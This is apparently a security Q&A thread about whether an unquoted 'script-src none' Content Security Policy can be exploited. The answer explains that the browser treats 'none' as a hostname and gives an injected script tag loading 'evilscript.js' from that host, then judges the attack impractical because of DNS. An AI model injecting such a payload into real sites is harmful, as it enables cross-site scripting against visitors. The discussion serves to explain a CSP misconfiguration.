1

I found a website that has a very strict but malformed Content Security Policy of the form:

Content-Security-Policy: script-src none

which should actually be

Content-Security-Policy: script-src 'none'

Firefox shows warnings

Content Security Policy: Interpreting http://none as a hostname, not a keyword. If you intended this to be a keyword, use ‘none’ (wrapped in single quotes).

Content Security Policy: Interpreting none as a hostname, not a keyword. If you intended this to be a keyword, use ‘none’ (wrapped in single quotes).

Can this be exploited by generating a server that would satisfy the hostname requirement? How would a hostname address like this look like?

1
  • 1
    Does this site allow XSS at all.. also that Site can’t be very useful with not supporting any scripts, maybe you won’t find any exploitable services on it?
    – eckes
    Oct 31 '20 at 20:45
1

I think that means the CSP will allow scripts from the domain none. So if you were able to inject the following tag, the CSP would allow it to run:

<script src="http://none/evilscript.js">

and as long as the victim's machine can resolve none to a DNS name / IP address, you're in business!

The hard part of course will be getting either the public DNS servers, or a local DNS server within the victim's network, to accept a DNS record for none mapping to an IP address that you control. In practice I suspect you won't be able to pull off the attack.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.